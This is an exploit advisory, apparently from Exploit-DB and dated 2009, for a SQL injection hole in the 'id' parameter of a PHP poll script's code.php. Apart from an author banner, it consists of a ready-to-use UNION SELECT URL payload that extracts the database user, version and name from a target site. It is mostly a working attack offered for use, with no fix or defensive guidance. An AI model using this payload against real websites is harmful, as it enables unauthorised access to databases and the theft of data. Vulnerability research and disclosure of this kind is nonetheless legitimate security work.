# Title: Quick Poll (code.php id) Remote SQL Injection Vulnerability
# EDB-ID: 10837
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Hussin X
# Published: 2009-12-31
# Verified: yes
# Download Exploit Code
# Download N/A

|___________________________________________________|
|
| Quick Poll (code.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|-------------------- Hussin X --------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>   < IQ-Security
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=69
|
|___________________________________________________|

Exploit:
________



www.[target].com/Script/code.php?id=-85+union+select+85,85,concat_ws(char(58),user(),version(),database())+from+answers--



IQ-SecuritY FoRuM